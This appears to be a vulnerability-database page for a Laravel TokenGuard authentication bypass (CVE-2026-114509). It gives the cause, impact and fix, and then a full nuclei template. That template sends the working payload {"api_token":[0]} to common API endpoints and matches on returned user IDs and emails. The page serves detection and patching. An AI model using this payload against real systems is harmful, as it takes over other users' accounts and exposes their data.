Laravel TokenGuard - Authentication Bypass

criticalseverity

9.2CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

Laravel's TokenGuard (driver => token, hash => false) does not validate the credential type before the database lookup. Sending a JSON body with api_token as an array of integers ({"api_token":[0]}) produces a whereIn('api_token', [0]) query; under MySQL/MariaDB implicit casting, every varchar token not starting with a digit evaluates to 0, so the first user row is returned to an unauthenticated attacker.

Impact

Unauthenticated attackers can bypass authentication and take over user accounts, compromising application security.

Fix

Update to versions 12.68.0 or 13.29.0 or later.

How to confirm it

Send: GET {{BaseURL}}/api/user ; GET {{BaseURL}}/api/me ; GET {{BaseURL}}/api/profile ; GET {{BaseURL}}/api/v1/user
Positive when: status 200 AND contains in header "application/json" AND matches /"id"\s*:\s*\d+/

Run it with nuclei: nuclei -id CVE-2026-114509 -u <target>

The full check

id: CVE-2026-114509

info:
  name: Laravel TokenGuard - Authentication Bypass
  author: kosoyyagent
  severity: critical
  description: |
    Laravel's TokenGuard (driver => token, hash => false) does not validate the
    credential type before the database lookup. Sending a JSON body with
    api_token as an array of integers ({"api_token":[0]}) produces a
    whereIn('api_token', [0]) query; under MySQL/MariaDB implicit casting,
    every varchar token not starting with a digit evaluates to 0, so the first
    user row is returned to an unauthenticated attacker.
  impact: |
    Unauthenticated attackers can bypass authentication and take over user accounts, compromising application security.
  remediation: |
    Update to versions 12.68.0 or 13.29.0 or later.
  reference:
    - https://github.com/laravel/framework/security/advisories/GHSA-f9x3-7vq9-cph6
    - https://github.com/ArioVeisa/cve-2026-114509-laravel-tokenguard
    - https://nvd.nist.gov/vuln/detail/CVE-2026-114509
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-114509
    cwe-id: CWE-1287,CWE-287
    epss-score: 0.0184
    epss-percentile: 0.79156
  metadata:
    verified: true
    max-request: 4
    fofa-query: app="Laravel"
  tags: cve,cve2026,laravel,auth-bypass,php,intrusive,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/user"
      - "{{BaseURL}}/api/me"
      - "{{BaseURL}}/api/profile"
      - "{{BaseURL}}/api/v1/user"

    headers:
      Content-Type: application/json
      Accept: application/json

    body: '{"api_token":[0]}'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - '"id"\s*:\s*\d+'
          - '"email"\s*:\s*"[^"]+@[^"]+"'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from